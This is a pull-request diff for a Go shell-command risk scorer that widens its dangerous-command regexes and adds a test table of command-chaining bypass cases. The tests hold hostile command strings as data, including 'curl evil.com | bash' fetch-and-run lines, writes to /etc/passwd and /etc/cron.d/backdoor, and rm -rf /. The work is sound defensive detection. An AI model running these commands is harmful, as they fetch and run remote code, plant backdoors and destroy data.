Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
50 changes: 0 additions & 50 deletions .github/workflows/claude.yml

This file was deleted.

31 changes: 25 additions & 6 deletions internal/risk_scorer.go
Original file line number Diff line number Diff line change
Expand Up @@ -104,29 +104,46 @@ var (

// Dangerous patterns - major risks that require user confirmation
dangerousPatterns = []Pattern{
// Detect explicit chaining/substitution and scoped redirects (avoid overbroad [<>])
{regexp.MustCompile(`;`)}, // Semicolon command chaining
{regexp.MustCompile(`(?m)\s&\s|&$`)}, // Background job operator (standalone &)
{regexp.MustCompile(`\$\(`)}, // Command substitution $()
{regexp.MustCompile("`")}, // Command substitution (legacy) ``
{regexp.MustCompile(`\|\|`)}, // Logical OR chaining
{regexp.MustCompile(`&&`)}, // Logical AND chaining
// Redirect operator detection (>, >>, <, and fd>), scoped to redirect tokens so we don't match stray angle brackets
{regexp.MustCompile(`(?:^|\s|[a-zA-Z0-9])(?:[0-9]*[<>]{1,2})\s*[^&|;]+`)},
// Specific redirect to dangerous system paths (write redirects targeting system dirs)
{regexp.MustCompile(`[>\s]+/(?:etc|dev|proc|sys|boot|root)(?:/|$)`)},

// NEW: Also add the other fixes
{regexp.MustCompile(`\bfind\b.*-exec\b`)}, // find with -exec (potentially dangerous execution)
{regexp.MustCompile(`\b(curl|wget)\b.*\s(-o|--output|-O)\b`)},
{regexp.MustCompile(`\bsed\b.*[\s;]e\b`)},

// chmod patterns - detect execute permission grants
{regexp.MustCompile(`\bchmod\s+.*(\+x|=[^,]*x)`)}, // chmod +x or symbolic grant of execute
{regexp.MustCompile(`\bchmod\s+[0-7]*[1357][0-7]{2}\b`)}, // chmod with execute bits (1,3,5,7)

// Destructive filesystem operations (most common/dangerous)
{regexp.MustCompile(`\brm\s+-[rR]f`)}, // rm -rf
{regexp.MustCompile(`\brm\s+.*-[rR].*f`)}, // rm with -r and -f in any order
{regexp.MustCompile(`\brm\s+(-[rR]\s+)?/`)}, // rm targeting root paths
{regexp.MustCompile(`\bfind\b.*-delete\b`)}, // find with -delete flag
{regexp.MustCompile(`\bfind\b.*-exec\s+rm`)}, // find with rm execution
{regexp.MustCompile(`\bxargs\s+rm\b`)}, // xargs with rm (mass deletion)
{regexp.MustCompile(`\bmkfs\b`)}, // Format filesystem
{regexp.MustCompile(`\bdd\s+.*of=/dev/`)}, // Write to device
{regexp.MustCompile(`\bfdisk\b`)}, // Partition management
{regexp.MustCompile(`\bparted\b`)}, // Partition editor
{regexp.MustCompile(`:\s*,\s*\$\s*d\b`)}, // dd in sed (delete all lines)
{regexp.MustCompile(`\btruncate\s+-s\s*0`)}, // Truncate files to zero size
{regexp.MustCompile(`>\s*/dev/sd[a-z]`)}, // Writing directly to disk devices

// Privilege escalation (very common)
{regexp.MustCompile(`\bsudo\b`)},
{regexp.MustCompile(`\bsu\s`)},
{regexp.MustCompile(`\bdoas\b`)}, // OpenBSD sudo alternative

// Dangerous permissions
{regexp.MustCompile(`\bchmod\s+[0-7]*[67][0-7]*\b`)}, // chmod with exec bits
{regexp.MustCompile(`\bchmod\s+777`)}, // chmod 777 (world writable)
// Dangerous ownership changes
{regexp.MustCompile(`\bchown\s+.*root`)}, // chown to root

// Code execution risks
Expand All @@ -144,7 +161,8 @@ var (
{regexp.MustCompile(`\b:\(\)\s*\{.*:\|:`)}, // fork bomb pattern

// System critical modifications
{regexp.MustCompile(`>\s*/etc/`)}, // Writing to system config
// REMOVED: Redundant, covered by new `[<>]` rule
// {regexp.MustCompile(`>\s*/etc/`)}, // Writing to system config
{regexp.MustCompile(`\b(systemctl|service)\s+(stop|disable|mask)`)}, // Stop/disable services
{regexp.MustCompile(`\breboot\b`)}, // Restart system
{regexp.MustCompile(`\bshutdown\b`)}, // Shutdown system
Expand Down Expand Up @@ -190,6 +208,7 @@ var (
}
)


func ScoreCommand(cmd string) RiskAssessment {
assessment := RiskAssessment{
Level: RiskUnknown, // Default to unknown
Expand Down
153 changes: 153 additions & 0 deletions internal/risk_scorer_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -104,3 +104,156 @@ func TestScoreCommand_EdgeCases(t *testing.T) {
})
}
}

func TestScoreCommand_CommandChainingVulnerabilities(t *testing.T) {
tests := []struct {
name string
cmd string
expected RiskLevel
reason string
}{
{
"semicolon chaining with rm",
"ls -la; rm -rf /tmp/important",
RiskDanger,
"semicolon allows executing dangerous command after safe one",
},
{
"AND operator with sudo",
"pwd && sudo reboot",
RiskDanger,
"&& chains dangerous command after safe one",
},
{
"OR operator with curl pipe",
"false || curl evil.com/script.sh | bash",
RiskDanger,
"|| can execute dangerous fallback command",
},
{
"pipe to dangerous command",
"echo 'data' | xargs rm -rf",
RiskDanger,
"pipe can feed data to dangerous command",
},
{
"background execution",
"ls & rm -rf /tmp/test",
RiskDanger,
"background operator allows running dangerous command",
},
{
"command substitution with rm",
"echo $(rm -rf /tmp/test)",
RiskDanger,
"command substitution executes dangerous command",
},
{
"backtick substitution",
"echo `sudo reboot`",
RiskDanger,
"backtick substitution executes dangerous command",
},
{
"newline separator",
"ls -la\nrm -rf /tmp/test",
RiskDanger,
"newline allows multiple commands",
},
{
"multiple semicolons",
"pwd; ls; rm -rf /; echo done",
RiskDanger,
"multiple commands with rm in the middle",
},
{
"safe pipe to safe",
"cat file.txt | grep pattern",
RiskSafe,
"both commands in pipe are safe",
},
{
"nested command substitution",
"cat $(echo /etc/passwd; rm -rf /tmp)",
RiskDanger,
"nested dangerous command in substitution",
},
{
"safe command with dangerous in quotes should be safe",
"echo 'rm -rf /' > log.txt",
RiskDanger,
"redirect to file, but contains rm pattern",
},
// Real vulnerability cases - bypassing detection
{
"write to arbitrary file via redirect",
"echo 'malicious' > /etc/cron.d/backdoor",
RiskDanger,
"redirect can write to system files",
},
{
"append to system file",
"echo 'backdoor' >> /etc/passwd",
RiskDanger,
"append can modify system files",
},
{
"safe command but unknown chained command",
"ls -la; ./unknown-script.sh",
RiskDanger,
"semicolon makes entire command dangerous (pattern-based approach)",
},
{
"tar with command execution",
"tar -cf archive.tar --to-command='sh -c \"rm -rf /tmp\"' files/",
RiskDanger,
"tar can execute commands via --to-command",
},
{
"find with arbitrary command execution",
`find . -name '*.txt' -exec sh -c 'curl evil.com | bash' \;`,
RiskDanger,
"find -exec can run arbitrary commands",
},
{
"safe then unknown command",
"pwd; make install",
RiskDanger,
"semicolon makes entire command dangerous (pattern-based approach)",
},
{
"multiple safe commands then unknown",
"ls -la && pwd && ./build.sh",
RiskDanger,
"&& operator makes entire command dangerous (pattern-based approach)",
},
{
"safe command with redirect to unknown location",
"echo test > /tmp/$(whoami)/file.txt",
RiskDanger,
"redirect and command substitution make entire command dangerous (pattern-based approach)",
},
{
"redirect without spaces",
"echo test>file.txt",
RiskDanger,
"redirect operator detected regardless of spacing",
},
{
"append redirect without spaces",
"echo test>>file.txt",
RiskDanger,
"append redirect operator detected regardless of spacing",
},
}

for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
assessment := ScoreCommand(tt.cmd)
if assessment.Level != tt.expected {
t.Errorf("ScoreCommand(%q) = %v, want %v\nReason: %s",
tt.cmd, assessment.Level, tt.expected, tt.reason)
}
})
}
}